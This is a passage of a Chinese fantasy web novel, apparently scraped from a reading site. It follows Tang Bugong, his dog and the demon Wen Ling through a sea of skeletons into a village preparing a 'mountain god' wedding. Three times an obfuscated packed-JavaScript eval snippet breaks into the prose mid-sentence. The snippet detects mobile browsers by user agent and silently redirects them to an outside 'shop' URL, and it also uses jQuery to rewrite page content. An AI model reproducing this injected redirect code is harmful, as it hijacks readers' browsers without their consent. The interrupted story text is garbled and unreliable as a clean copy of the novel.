叮铃——叮铃—— 远处的雾气中,传来清脆的铃铛声。一下隔着一下,极其有节律的声音。 仔细听的话,似乎前面的沙滩上,也传来了细微的,被踩踏的声音。 面前的雾气终于涌动了起来,不再是一成不变的模样。 唐不功屏息凝神,托着闻灵的手,抓得更紧了一些。 一个马头从白茫茫的雾气里探了出来,而后是马的身子。 几匹只剩下白骨的马儿,身上披着绣上金线花纹的马鞍,拉着一辆模样古朴的马车缓步从雾气中走出来。 银铃轻响,身上穿着华贵铠甲的将军,举着绘着古怪图腾的士兵,随侍马车左右。 马车的车轮轻飘飘地碾在沙滩上,像没有重量一样,不留下一丝痕迹。只是发出轻微的咯吱声。 将军,士兵们目不斜视,唐不功也不敢发出一点声响。 身旁的大黄看着是已经吓傻了,身子一抖一抖的,唐不功紧张地看着它,但好在大黄还是通人性的没有叫出来。 长长的队伍快要到了末尾,马车已经远去。 就在唐不功感觉快要松了一口气的时候,走在队伍最前端的将军却忽然停住了脚步。 它像受到指引一般,转过头来,丝毫不差的看向了唐不功的方向。 盔甲里空无一物,唐不功甚至看不起头盔里面的细节,但就是这样空无一物,别说眼睛,连个脑袋也没有,空有一副盔甲的将军。 让唐不功在一瞬之间产生了自己被盯上的错觉。 他的手扶上了见雪,身上的肌肉紧绷着,就连心脏也被人提了起来。 将军的马身上披挂着的红色流苏被风扬起,将军抬起手来。 无数尖刀瞬间对准了唐不功,唐不功将闻灵轻轻放在一边,横刀而立。 他几眼间估计了一下,现在在这的大概有二三十人。 当然,这些或许已经算不上是人,不知道一刀砍不砍得死了。 唐不功紧握着见雪,调息运转着灵力。 可就当他准备好要挥出这一刀时,身后却有人一把抓住了他——是闻灵。 可又不像闻灵。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405219|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>唐不功没有回头,一头乌发便已埋在了他颈间,长长的,如流水般从他身边披洒下来。 闻灵在他的脖颈间嗅着,嗅得很用力,像是嫌这层皮肉碍事,他要闻尽唐不功骨血似的。 他的指甲也长了些,卡在唐不功的脖子上,恶狠狠地抓着搂着。 “……”唐不功憋着一口气,不敢随意动弹,“闻灵!你干什么!?” 听到这话,闻灵只是把埋着的头抬起来了一些,一双乌黑泛红的眼睛露出来,就这样看了唐不功一眼,而后便一口咬了下去,咬了唐不功个措不及防。 “啊!闻灵!你干什么?忽然咬我干什么?”唐不功又气又难过,他一个巴掌拍在闻灵头上,可闻灵还是咬得忘乎所以。 唐不功气极,可闻灵推又推不开。 “闻灵!你真是够了!你……你他妈别咬了!我痛……啊!” 闻灵的尖牙咬得更深了一些。 “啊……啊啊……” 唐不功感觉自己的血肉都要被闻灵掏空,自己的大脑已经晕晕乎乎,他真是快要驾鹤西去了吧。 如果要说什么能让他回光返照一下的,那就是眼前这群士兵了。 唐不功死了都要气活来。 不是要打架的吗?怎么不打了?怎么全都一动不动了? 全都……在这里看他的热闹是吧? 一个男人抱着另一个男人这么血淋淋地啃来啃去,肯定特别好看吧? 你说是不是啊!闻灵! “闻灵!你要是再这样大庭广众之下多啃我一秒,我肯定就和你翻脸了!”唐不功强撑着意识,给闻灵下最后通牒。 谁知闻灵埋在他脖子旁,头都没有抬一下,挥一挥手,眼前的一切便都灰飞烟灭了。 唐不功惊呆了,就在他惊讶的片刻,闻灵也好似吃饱了,不咬他的脖子了。 他侧过头来,看了看自己右边脖子,一片血糊在那里。 闻灵也不嫌弃,爱惜地蹭了蹭,蹭了一下巴的血,像个贪吃过头的孩子,还要假情假意地,讨好一般轻舔自己咬出来的伤口。 闻灵被血染上鲜红的舌头,带着湿漉漉的柔软触感,一下一下地舔着唐不功现在身上最刺痛的地方。 唐不功看着闻灵低着头,露出来的那半截舌头,心里升起一股非常诡异的感受,简直诡异到让他难受。 他心一狠,轻轻地把闻灵一推,想要让他离开自己的脖子。 可谁知刚才还谈笑间樯橹灰飞烟灭的妖,现在被他轻轻一推就倒到地上去了,还可怜巴巴地睁着一双大眼睛,全然不顾和下半张脸血淋淋的样子搭不搭配。 “……闻灵,你给我起来。”唐不功板起一张脸来,毫不客气地说道。 闻灵一声不吭,还是一副无辜作态,手里好玩似的拎起自己一头华发。 唐不功忍了又忍,最后还是蹲下来,拿袖子把闻灵一张血脸给擦干净。 他擦完了便说:“你还有意识吗?有意识的话,就快点组织一下语言,给我道歉!” “你看看这是谁咬的?”唐不功愤怒地指了指自己的脖子,虽然那里已经不再流血,甚至开始愈合了,但唐不功还是要说。 不然呢?难道要他夸闻灵咬得好,咬得漂亮,好得快吗? 唐不功看着闻灵。 闻灵丝毫不心虚地嘿嘿一笑,他酒饱饭足,又被人收拾了个干净,仰头便又昏了过去。 “闻灵!?”唐不功把闻灵拉起来,前后晃着,可任凭他怎么晃,闻灵都是一副又晕死过去了的样子。 他委屈地对着闻灵说:“怎么是你晕了?你怎么敢晕的?要晕也是我晕才对,我们到底谁咬的谁?” 叮铃——叮铃—— 雾气中再次传来清脆的铃声。 又来!怎么敢又来的! 唐不功放弃了叫醒某只为非作歹的妖,他捡起刚刚他脱力掉落的见雪,将闻灵护在了身后。 17. 乡村cosplay(一) 清脆的银铃声从海面上传来,由远及近。 浓重的白雾在海面上难以散去,一团黑色的阴影在其间逐渐加深,轮廓越来越清晰。 唐不功攥紧了见雪的刀把,身体肌肉紧绷着,他用余光看了眼身后。闻灵依旧是一副不省人事的样子,双眼紧闭着,苍白湿漉漉的一张脸上糊着些还未擦干净的血色。 唐不功一只手背在身后,眼睛死死盯住眼前的那一团黑色阴影,准备随时提起闻灵就开跑。 大黄缩在唐不功脚边,挨得紧紧的,止不住地颤抖,但没有发出一点呜咽的声响来。 唐不功把它也往自己的身后揽了揽,然后又不太熟练地在大黄的身上挠了挠,以示安抚。 银铃有节律地随着微风摆动着,发出的声响在空旷的海面上显得宁静而悠远,伴随着吱呀吱呀的响声。 “哐当”一声,一艘小船撞到了沙滩上,丝毫不差地停在了唐不功他们的正前方。 一时间铃声乱了,变得有些吵闹。 唐不功担心这响动会引来些不必要的麻烦,于是他抬手,见雪刀光一闪,镂空雕花的银铃瞬间落入沙地里,被浪潮冲刷着,不再响动。 唐不功刀尖对着小船,走上前去。 船上一个人也没有,或者说是空无一物,连个划船用的桨板也没有。 唐不功环顾四周。 除了眼前这条不知道哪里飘来的小船,周围的一切似乎都没有变化。 雾气依旧浓重,海边的路依旧看不到尽头。 海浪缓慢地一波接着一波,没过小船的船底。 犹豫片刻,唐不功还是把闻灵扛到了船上去,并且捡起了地上的银铃后,才把船推到了海里去。 反正找不到出路,横竖都是一死,不如死前试一试,死了也安心。 唐不功咬咬牙,抱起跟着他一路小跑的大黄,一鼓作气跳进了船里。 海面很平静,除了偶尔泛起的层层浪花,几乎平静得就像一面镜子。 船上没有桨板,唐不功徒劳地用见雪在水里划拉了几下,船纹丝不动,然后他就开始思考,自己运功划船的话,是把他们都炸飞的可能性大,还是把船掀翻的可能性大。 虽然心底里不愿承认,但自己确实是属于大力出奇迹的那种打法,在精细程度上实在是有点欠缺。 更何况现在船上躺着一个昏迷不醒的妖,还有一只手无缚鸡之力的小狗。要是他运功出了什么差错的话,那真是大家都别活了。 再三思索之后,唐不功把银铃从自己的口袋里掏出来,试探着挂到了原来的地方去。 果不其然,船开始自己动了起来。 清脆的铃声再次有规律地响起来,回荡在这弥漫着浓雾的海上,传到不知道在何处的远方去。 像是被人画好了既定路线一般,小船不偏不倚地一路直行,泛起涟漪。 海上的雾气很重,不一会儿便把本来就没干透的衣服,还有皮毛浸透得湿气沉沉。 虽然现在没有镜子,但唐不功觉得自己现在的脸色应该也没有比闻灵好到哪里去。 大黄的一张狗脸垂头丧气地垮下来了,黄不拉几的皮毛看着都有些掉色了,整条狗灰溜溜地缩在闻灵身边,团成一团地取暖。 唐不功把自己的外衣解下来,又把闻灵和大黄都搂到了自己怀里来。 一妖一狗的身体都无比冰冷,要不是搂在怀里还有些柔软的触感,唐不功真的要怀疑自己抱着的是两具尸体了。 被雾气浸湿的外衣,聊胜于无地罩在他们身上,唐不功取了一团火,小心翼翼的绕在他们身边,暖和着他们的身体。 小船漂浮在几乎没有一点波澜的大海上,一点起伏也没有地一路向前。 唐不功警惕地观察着四周的情况,见雪始终被他放在手边。他搂着闻灵和大黄坐在小船的中间,尽量避免靠在小船的边缘。 他担心会有什么东西从水里冒出来。 但他更担心的还是这条船究竟会把他们带向哪里。 小船已经漂浮了不知道多久,但眼前还是白茫茫的一片,一点其它事物的影子也没有。 世界好像都变成了雾蒙蒙,白茫茫的一片了,将他们身处的这条小船并不紧迫,却又密不透风地包裹了起来。 唐不功被迫闭上了双眼,他的眼前看多了同样的景色,已经有些分不清东南西北了。 眼前一会儿黑,一会儿白的。 可他很快便又睁开了双眼,因为他怀里还搂着一只妖,还有一只狗。 闻灵在刚刚那突如其来的举动之后,眼睛便安详得再也没有睁开过,长长的头发也没有像唐不功想象的那样,在闻灵昏迷过去之后便缩回去,而是长长的,很碍事的披洒下来。 为了不让闻灵的头发拖到地上变脏,唐不功不得不在这危急关头还要留心这细枝末节的发尾,把它抓在手中。 一只手照顾好了闻灵,另一只手还要照顾好大黄。 大黄窝在唐不功怀里,已经睡着了,被唐不功稳稳地托着。 唐不功叹了口气。 这样子,万一有了什么状况,他可要怎么办?大概只能很狼狈地逃跑了吧。 哗啦哗啦—— 水声忽然从四面八方传来,唐不功一下子绷紧了身体。 一种奇异的香味冲入他的鼻腔,并不难闻,但也算不上多好闻。只是让人大脑刺痛,觉得从身体,乃至灵魂的最深处生出一种冷意来。 唐不功努力克服着这种好像是有人扒开他的脑袋,倒了一袋清凉糖进去的感觉,搂紧了怀里的闻灵和大黄。 远处,淡紫色的幽光在浓雾间浮动。 一朵接着一朵的幽梦飘来唐不功他们身边。 唐不功看着眼前散发着妖异紫光,近似于莲花模样,但又并非莲花的花朵,心不太妙地往下沉了沉。 幽梦引路,亡灵归处。 一朵又一朵的幽梦漂浮过来,快要把他们彻底包围了。 看起来像是要夹道欢迎他们去往冥界。 唐不功操纵着见雪,赶跑源源不断涌过来的幽梦。 “醒醒!闻灵!快醒醒!再不醒我们就要下辈子见了!”此刻,唐不功也顾不得别的了。 不断喊着闻灵的名字,手里死命掐着闻灵的人中,甚至还拿手兜了点水来泼在闻灵脸上。 可闻灵风雨不动安如山。 唐不功又急又气:“狗都醒了,你还不醒!” 但闻灵就是不醒,唐不功也没有办法。 更不妙的是,唐不功觉得这雾气好像散了,一个古代城楼模样的建筑在远方若隐若现。 “……”唐不功想,能出现在这里的会是什么房子? 冥界的大门似乎正在向他们缓缓敞开。 唐不功一咬牙,安放好一妖一狗便是准备要赌一把了。 管它船翻了,还是炸飞了,总比就这样飘进冥界好吧! 唐不功屏息凝神,可功法运转到一半,就被打断了。 一只手正在不老实地挠着他的腿。 唐不功正在闭目调息,察觉到这个动作顿时间怒火中烧,睁开眼来。 “闻灵!你……” 闻灵什么也没干,还是睡得跟死了样地躺在船上。 唐不功心虚了一瞬间,而后便是心里发凉地低头一看。 一只纤细,白净到只剩下骨骼的手正在他的腿边打转,唐不功看到这,想也没想便是一脚。 白骨手霎时间飞出去百米远。 下一秒一个带着怨气的骷颅头从水里冒出来,黑洞洞的一双眼看着唐不功,像是要把他盯出一个洞来。 看起来像是刚刚白骨手的主人,唐不功想也没想,又是一脚,直接送它们团聚去了。 小船周围的水面一下子波涛起伏了起来。 唐不功注意到,无数的骸骨此刻都如游鱼一般在他们四周游动着。 骸骨越聚越多,这是去往冥界路上的妖怪。 人间的尸骸腐化之后,便来到了这儿。 人世间心愿已了的,便安安心心地沉入水底。 而不甘心的呢,则做这冥界之路上的鬼怪,盼着有一天能遇见活物,更好的便是遇见自己的魂体。那便可活死人,肉白骨了。 可冥界的魂体向来先白骨一步去往冥界,活物更是千年万年都不见得能遇到一个。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405220|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >唐不功觉得他们现在就像一粒米掉进了老鼠窝。 魂体残存的意志附着在这些骸骨上,驱使着他们寻找活物,寻找□□。 这是一群完全凭本能行动,没有丝毫意志存在的妖物。 冥界大门近在眼前,数十丈高的大门已经悄然打开一角。似乎只要轻轻一推,他们便可以在那里面寻得庇佑。 可是……那里是哪里啊?是冥界啊! 唐不功咬紧牙关,扛起闻灵,又抓起大黄,纵身一跃。 水底下的骸骨们霎时间破水而出,蜂拥而上,层层叠叠的白骨累在一起,堆成了一座小山,一把掀飞了小船。 无数的白骨带着那残存的一缕执念,向唐不功他们伸出手来。 唐不功看着这一团因执念化作的妖物,心里除了对妖物难以抑制的本能恶心之外,或许还有一丝堪称奇异的触动。 为了一点前尘往事,就变成了这样可悲的模样吗? 唐不功已分不清自己心中此刻闪过的究竟是可悲,还是难以言说的怜悯了。 他只觉得自己心里堵得慌。 而他此刻能做的也只有—— “见雪!来!” 刀光在半空中留下近似满月的余晖,一刀破开面前白骨堆成的尸山。 累累白骨哗啦哗啦地坠回水中,激起千层波浪。 唐不功借力,想要先落在城楼上,而后再想办法去别的地方。 可这时,水面忽然剧烈地汹涌了起来,比白骨落入时都还要激烈百倍。 一个巨大的漩涡在水中出现,强大的吸力仿佛要吞噬万物。 唐不功一个人就算了,他还扛着两个…… 唐不功认命地自由落体回到了小船上。 真是没想到,小小的一个木头做的船,竟然还没坏掉。 唐不功把闻灵和大黄都罩在了身下,手撑着船,尽力保持着平衡。 漩涡越来越大,冥界前的这整片水域似乎没有一个角落是平静的了。 小船飘入漩涡的中心,天与地在这儿都消失了,有的只是头晕眼花。 唐不功忍着吐意,憋着一口气,运转灵力,尽力在小船周围撑开一个小结界,带着闻灵和大黄进入了漩涡的中心。 身体不知道翻滚了多久,唐不功眼冒金星地睁开眼来。他揉了揉眼睛,支起上半身来,环顾四周。 他们还在船上,甚至身边又飘起了雾气。 水面平静得不见一丝波澜,小船晃晃悠悠地要朝着岸边靠去,岸边似乎还站着不少人。 唐不功如临大敌,忙抄起见雪来。 此刻,他身后,不止闻灵,就连大黄也是昏迷不醒了。 唐不功忐忑得看着岸边,又看了看自己身后近乎于退无可退的境地。 船靠岸了。 咚的一声响,船身撞在了石头上。 几乎就是以这一声为号令,戏台上的戏便就此拉开帷幕了。 浓雾瞬间散去,岸边人的脸庞霎时间清晰可见。 无数张包含着喜悦之情的脸正在看着他们,他们的身后更是不知道什么时候出现了几条船。 船上的人敲锣打鼓,船身上系满红绸。 整个岸边都洋溢着一种喜气洋洋的氛围。 唐不功迷茫地看着眼前,还有身后这群做古人打扮的人。 他的嘴无助地张了张,想要说些什么。 可这里这么多张嘴,很明显是等不及他说些什么的。 只见一个满身穿金带银,打扮富贵的男人走到了他面前来。 “哎呀!怎么这么晚才来,山神大人可都要等急了。”男人不悦地看着唐不功,“还有你这脸上是什么呀?这副样子去见山神大人可怎么行?” 男人说完,或者说话都还在他嘴里打转的时候,他便一手撕下了唐不功脑门上贴着的符纸。 速度之快,让唐不功想骂一句是不是手贱都来不及。 “别……” 一声无力的气音从唐不功的喉咙里挤了出来。 在他即将昏黑一片的意识中,留在他大脑里的最后一句话是: “我的亲娘嘞!死人啦!快来人呐!” 18. 乡村cosplay(二) 吸气呼气……吸气呼气…… 唐不功平缓地呼吸着,身体轻微而又富有节律地起伏着。他能感觉得到有人正在有一下没一下地抚摸着他的背,像在哄孩子睡觉一般。 意识还在睡梦中,朦朦胧胧间,唐不功本能地对这种过分温柔,甚至算得上有几分亲密的动作感到不自在。 半梦半醒间,他无意识地翻了个身子。 很快一只手便很不老实地戳起了他的咯吱窝来,一下又一下,弄得人痒痒的,闹得唐不功不得安生。 闻灵放轻了动作,抚上大黄此刻紧皱的眉心。 当然了,大黄一只小狗而已,除了担心会没人陪自己玩以外,又究竟还有什么可担心的呢? 此刻不知道为了什么事而烦心,烦到眉头都皱起来的,也就只能是现在身在大黄体内的唐不功了。 闻灵刻意放轻了手上的力道,让人分不清他究竟是要安抚,还是存了什么坏心思,要刻意挠人痒。 唐不功忍无可忍,翻身而起。 虽然早有预料,但是再次扑腾着四只小短腿的时候,唐不功也还是觉得伤心。 “我怎么又变成狗了?”唐不功来不及质问闻灵为什么要对自己动手动脚的,只来得及看着自己的狗爪悲伤。 闻灵自然地把手搭在了唐不功背上,给人顺了顺毛,嘴里很平淡地说道:“毕竟你们没彻底换回来,一张符纸而已,别人揭掉就是了。” 说完,他又叹了口气:“况且现在最要紧的事情也不是这件了。” 唐不功紧张地问:“那是什么?” 闻灵的手无声地朝这间屋子的角落里指了指。 唐不功顺着他指的方向看过去,也顺路打量了一番屋子。 这间屋子修得古色古香的,除了必要的一些器物,比如柜子锁,水盆,是金属或者陶瓷做的外,全屋木制,就连照明用的工具都是几根红蜡烛。 现代化的痕迹在这里一扫而空。 唐不功想到在岸上见到的那群穿金带银,披着华贵长袍的男人们。 如果他们掉进冥界大门前的漩涡之后,来到这儿,不是穿越的话,那应该就是见鬼了。 唐不功的目光在整个屋子最角落的地方一滞。 一个全身穿着红衣裳,手上,脖子上,还有头上都满是金饰的人,富丽堂皇地缩在那个角落里。 整个屋子都快要因为这金灿灿的角落而蓬荜生辉。 唐不功表情呆滞了片刻,才彻底确认。 那个被硕大的头饰,压弯了脖子的人,就是他。 唐不功跳下床去,哒哒哒地走到自己身旁,细细端详起自己的脸来。 魂魄离体之后,他的脸本就是死人脸,没有多少血色。现在还画蛇添足地抹了不知道多少胭脂水粉上去,白得更是吓人。 光白还不够,似乎是为了给他添点人气。两坨桃红挂在他的脸颊上,一边一个。艳红的唇脂在他嘴上不知道糊了几层,红得像刚杀人饮血过,甚至唇脂都涂出了他的嘴唇边缘,那看起来就更像了。 总的来说,是一张只可远观,不可细看的脸。 唐不功自己看久了,心里都要起鸡皮疙瘩。 而更让他不解的是,自己的身体被人端端正正地摆放着,摆出了一个跪姿。 “这是要干什么?”唐不功看着自己头上,很明显带着婚礼气息的头冠,心里有些不妙的感觉。 闻灵:“结婚啊。” “……”唐不功呼吸一滞,看着趴在床上的闻灵问,“这是要和谁结婚?” “山神呐。” “……” 唐不功消化了一会这个信息,又问:“那结婚就结婚,把我摆成这个样子是要干嘛?” 闻灵半掩着面,很不好意思地说:“是我摆的。” “但是啊,我这样摆可不是为了捉弄你,”闻灵赶忙抢在唐不功回嘴之前说道,“你想想啊,你一醒来,是更想看到我这张脸,还是看到那张脸?” 唐不功看着自己色彩鲜艳的脸,沉默了。 闻灵又说:“我把你挪过去,你又总倒下来,把你这样子放到地上又不好,看起来怪吓人的,所以我就把你那样子放了,我放得还可以吧。” 闻灵冲唐不功眨眨眼睛,唐不功又是默然片刻,应下了。 “那你在这里干这干那的,其它人呢?”唐不功问,“都要结婚了,没有其它人过来管一下的吗?” 闻灵听着这个问题,心里奇道,唐不功对自己的这个设定接受得这么快的吗? 闻灵:“没有,我醒来的时候,他们就已经在给你梳洗打扮了。” “为什么要给我打扮,而不是给你?”唐不功蹦回了床上。 “可能因为你是他们选定的新郎吧。” “为什么就选定我了?他们是依据什么选的?”唐不功追问。 面对唐不功汹涌的求知欲,闻灵思索片刻,还是决定把炸裂的现实告诉他。 闻灵:“其实我们现在都有各自的身份。” 唐不功:“?” “你是老李家的大孙子,”闻灵清了清嗓子,似乎是觉得接下来的话会有些难以启齿,“而我则是你的父亲。” “……”唐不功,“?!” 闻灵看着唐不功惊讶的神色,忙说:“这只是我们的人物设定而已啊,不重要不重要。重要的是,唐不功,你觉不觉得我们现在已经严重偏离任务主线了啊。” 任务主线是什么? 是顺着红色闪电的方向,去找到把唐不功彻底变回去的方法。 如果他们现在是在处理什么任务支线的话,那唐不功觉得他们应该已经被支线揣进沟里了。 唐不功:“别管这个了,先想想办法,怎么出去这里吧。” 闻灵点点头,问:“那我们要怎么出去?” “这个问题不应该我问你才对吗?你们白泽不是通晓万物的吗?”唐不功看着闻灵脸上和自己一样茫然的神色。虽然已经见过了闻灵的原形,但他还是不禁开始怀疑起,闻灵的真身到底是不是白泽来。 闻灵被唐不功看得不好意思,嘴上仍是随口应付道:“我一向不喜欢白泽通晓万物这个能力,所以能不用的时候就不用。之后……出了一点差错,倒是想用都用不了了。” “不过!”闻灵的脸上露出自信的表情,“我的运气一向很好,你要相信有我在,我们就一定能出去的。” 唐不功依旧半信半疑,但闻灵已经拉着他要进被窝睡觉了。 闻灵的话很有几番道理:“先睡吧,反正现在也没什么头绪,不如先睡个好觉吧。你先睡,我守着你,等你睡好了,我再睡。” 但唐不功摇了摇头,说:“你睡吧,我睡不着。” “好吧,那我就睡一下。” 闻灵说完了便闭上了眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405221|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然乱七八糟地说了这么一大堆,但唐不功看得出来闻灵其实很疲惫。脸色比先前也只能算是多了一点血气,但依旧算得上是苍白。 唐不功趴在闻灵身边,感觉和大黄的身体比起来,闻灵的身体简直冷得就像冰块。 他努力凑近了闻灵,想要暖和一下闻灵的身体。 可闻灵那么长一条的人身体,哪里是他这么短一条的狗身体能暖和得到的? 唐不功只能把被子叼过来,盖到闻灵身上,嘴里嘀咕着:“说睡就睡,连个被子都不记得好好盖。” 夜渐渐深了,唐不功睁着一双眼,留心着所有细微的动静。 红烛已经快要燃尽了,只剩下一点微弱的火光在蜡油间闪烁。 屋子外安静极了,只有偶尔的一阵风吹过,吹得树叶发出沙沙声响,吹得窗户发出咔咔声。 除此之外便就真的没有什么别的声音了。 一点也没有。 明明这个村子里好像也住了不少人来着,而且要给山神献上新郎了,大家不应该热火朝天地准备起各种仪式要用的东西的吗? 现在看起来完全不像是要举行某种邪恶祭祀的样子。 村子里宁静得可怕。 唐不功不敢闭上眼,但他架不住现在这具身体的疲惫,眼皮渐渐半开半闭了起来。 半梦半醒间,唐不功忽然觉得自己的耳边真真切切地响起了琴音笛声。 他霎时间清醒了过来,竖起耳朵,捕捉着声音的源头。 悠远曼妙的声音从窗外传来,还伴随着几声欢快的笑声。 唐不功趴到了床边的窗户上,用爪子在糊着油纸的窗户上扣了一个小洞出来。 他眯起眼睛,努力在窗外的桃花林里看出些什么来。 这个屋子的后面就是山,山上漫山遍野的都是桃花树,一片一片的粉红颜色,几乎看不到一点间隙。 微风吹过,桃花簌簌地落下,纷纷扬扬一地桃花春色。 在漫天飞舞的花瓣间,唐不功看见了一队人。 这队人,四五成群,队伍一直延伸到了桃花林的深处去。 身上穿着图案或素净雅致,或鲜艳明亮的各色长裙,手上拿着月琴,琵琶或者竹笛,长箫,合奏着欢快的乐曲。 裙摆飘飘,女孩子们的脚步很轻快,轻到像步子都没有落在地上似的。 唐不功手搭在窗户上,想要追着女孩子们队伍的末尾,上山去一探究竟。 可窗户连缝都还没有推开,一只眼就闪现到了唐不功面前来,塞满了他扣出来的那个小洞。 唐不功还没来得及把眼睛挪开,差点就要和对面的眼睛来了个亲密接触。 他吓了一跳,叫都来不及叫出来,就被闻灵攥住了嘴筒子往后一拉,拉到了怀里。 闻灵捂紧了唐不功的嘴,面色不善地看着窗户上的那只眼。 很圆润的一只眼,眼珠子打着转地看着闻灵他们,没有一丝一毫的恶意,有的只是单纯的好奇。 看了一会儿,闻灵便看到眼睛笑眯眯地弯了起来。 窗户外似乎还有其它人,因为女孩子们小声的议论从外面传来。 “哈哈哈,真是倒霉的男人。” “他们这回真的找了一个男人来?” “可不是嘛,你快来看!” 女孩子们呼朋引伴。 但雪白的窗户上没有印上一点黑色的影子。 19. 迎娶山神 窗户外的女孩子们旁若无人地聊了好一阵,话题早已从西边跑到了东边,把屋子里的狗和人,还有妖都忘了一干二净。 晨光刚刚破晓,从山尖上泄出一点阳光来,女孩子们便嚷嚷着“时候不早啦,该回去啦。” 不一会儿,一群人便就都没了踪影,只留下满地的桃花无数。 闻灵松开唐不功的嘴筒子。 唐不功张开嘴,大喘了一口气,忙问:“哪里来的这么多鬼?还是说山神就是她们?” 毕竟把妖魔鬼怪当成神明供奉,也不是什么少见的事情。 “应该不是,”闻灵摇了摇头,“如果是她们想要找新郎的话,那为什么要说你是‘倒霉的男人’呢?她们见到你应该高兴才对。” “……”唐不功想到了窗外女孩子们有些幸灾乐祸的语气。 闻灵又说:“而且她们总共也没聊几句我们,全扯自己开心的,好玩的去了。” “确实,那这里的山神究竟是什么?” “明天去看看不就知道了,着什么急呢。”闻灵的眼睛又闭上了,扯好被子就要睡大觉的样子。 可他手都懒得抬一下,整个妖上半身直直地就躺了回去,然后就什么也不管了。 唐不功只好再次用嘴叼着被子的一角,把被子给闻灵扯好,盖好。 唐不功说:“闻灵,天已经快亮了,我睡不着。” 闻灵艰难地掀开眼皮,“嗯?”了一声,然后说:“哪里是快亮了,这天百分之九十九都还是黑的呢。来来来,我还睡得着,让我把困意分你一点。” 闻灵不由分说地把唐不功按进了柔软的被窝里。 “闻灵!我要……”喘不过气了! 唐不功的后半句哑了火,因为他感觉到闻灵已经很快又睡着了,速度很快,让唐不功心里的燃料都来不及点完,只能作废。 他不轻不重,颇有几分作弄意味地在闻灵脸上按了一下,留下了一个小小的狗爪印,浅浅的痕迹,很快便消掉了。 唐不功眯上眼睛,想要干脆闭目养神一会。 可安静了一整晚的院子,却在此刻吵闹了起来。 咚咚咚—— 门口传来三声敲门声。 “老李啊,你起了没?是时候带着你儿子出来吃饭了。” “老李?” 唐不功拱了拱闻灵的头。 闻灵皱着眉,睁开了眼,很明显是还没睡够。 “嗯……来了。” 闻灵打开门,屋子外站着的是一群男人。 为首的男人正是昨天在岸边迎接他们的那一位,男人穿着一身绣着金线牡丹的赤色华服,腰间缀满配饰。 一见门开了,他赶忙走上前来,腰间玉饰叮当作响。 “老李,昨晚休息得怎么样?还好吧?”男人朝闻灵伸出手来,带起一阵香风。 闻灵不动声色地避开:“还行吧。” “那就好,那就好,”男人收回手,堆起笑脸,“那就赶快带着贵公子去用早饭吧。今天可是来了不少人,可别让大家久等了。” “我们……”闻灵刚想说过会再去,男人便已经招手,让一伙人冲进了屋子里,把唐不功的身体七手八脚地抬了出来,放在了轿辇上。 唐不功跟在后面叫,还被人恶狠狠地踹了一脚。 “好狗不挡道!让开!死狗!” “哎呦!” 刚刚踹过唐不功的人忽然惨叫一声,跪倒在了地上,轿子上的唐不功差点滑落下来。 穿着华贵的男人连忙一脸惶恐地跪在了轿辇下面,张开双手,生怕唐不功落到地上来。 见唐不功的身体稳住了,男人喘了口气,抬脚便是给还跪在地上的人一脚。 “怎么办事的?这可是山神大人的新郎,要是伤到哪了,你赔得起吗?” “刘老爷!刘老爷!这真的不是我故意的啊,我好好走着路呢,不知道怎么的就感觉腿上被人踹了一脚,痛得我要命啊。”跪倒在地上的人一张脸都皱成一团了,十分痛苦的样子。 刘老爷冷笑一声:“是吗?把他裤子给我撸起来看看,到底是伤得有多重,连个轿子都抬不好了。” “别……别……刘老爷!刘老爷!” 地上的人喊叫着,但他已经被人架了起来,任凭他怎么推让喊叫,裤脚都还是被人扯开了。 在他的大腿上有一个鲜红的印子,看得出来是被人用死劲踹了的,但也算不上什么重伤。 不过因为这个,一时失手没抬好轿辇,倒也可以理解。 但刘老爷肯定不是这么想的。 他的一双眼带着难以掩盖的戾气,瞪圆了,环顾四周站着的人群。 “刚刚大家都在这,是谁踹了刘小五,可有谁看清了?”刘老爷刻意拉长了语调,字一个一个地从他嘴里蹦出来。 人群你看看我,我看看你,无一人敢言。 刘老爷:“好啊,没人是吧。那我看就是小五你自己背地里干了什么对不起山神的事情,所以山神才要来责罚你吧。” “没有啊,刘老爷,冤枉啊!”小五在地上不住地朝着刘老爷磕头,哭天喊地。 “就因为这么一点事情,就差点把山神大人的新郎给碰着了!来人,把他拖走打五十个板子,好抚慰山神大人。”刘老爷又指了指旁边的一个人,“你,你过来继续抬。” 小五在地上胡乱瞪着腿,哭喊着:“刘老爷!刘老爷!您行行好啊!五十大板下去我还能活吗?” “你……” “怎么了?出什么事了?”闻灵拨开人群,走到刘老爷面前来。 场面一下子鸦雀无声了起来,小五在地上被人按着,抬起一双眼,乞求地看着闻灵。 刘老爷脸上盛怒的神情僵硬了片刻,便很快又收拾出一副笑脸来。 